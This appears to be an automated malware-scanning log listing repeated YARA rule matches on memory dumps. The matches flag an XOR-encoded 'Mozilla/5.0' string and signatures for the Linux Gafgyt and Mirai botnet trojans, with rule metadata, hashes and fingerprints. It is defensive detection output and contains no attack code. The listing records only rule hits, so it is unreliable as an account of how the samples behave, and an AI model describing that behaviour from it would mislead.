Source: 7193.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7193.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7193.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6646.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7126.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6240.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6700.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6700.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6700.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7024.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7024.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7024.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6655.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7210.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7210.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7210.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6453.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6453.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6453.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7238.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7332.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7332.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7332.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6639.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6639.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6639.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7018.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7018.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7018.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6992.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6992.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6992.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6572.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6599.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6393.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6837.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7396.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7396.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7396.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6418.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6418.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6418.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6252.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7121.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7121.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7121.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6650.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6583.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6583.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6583.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6668.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6668.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6668.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6804.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6877.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6352.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6644.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6644.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6644.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
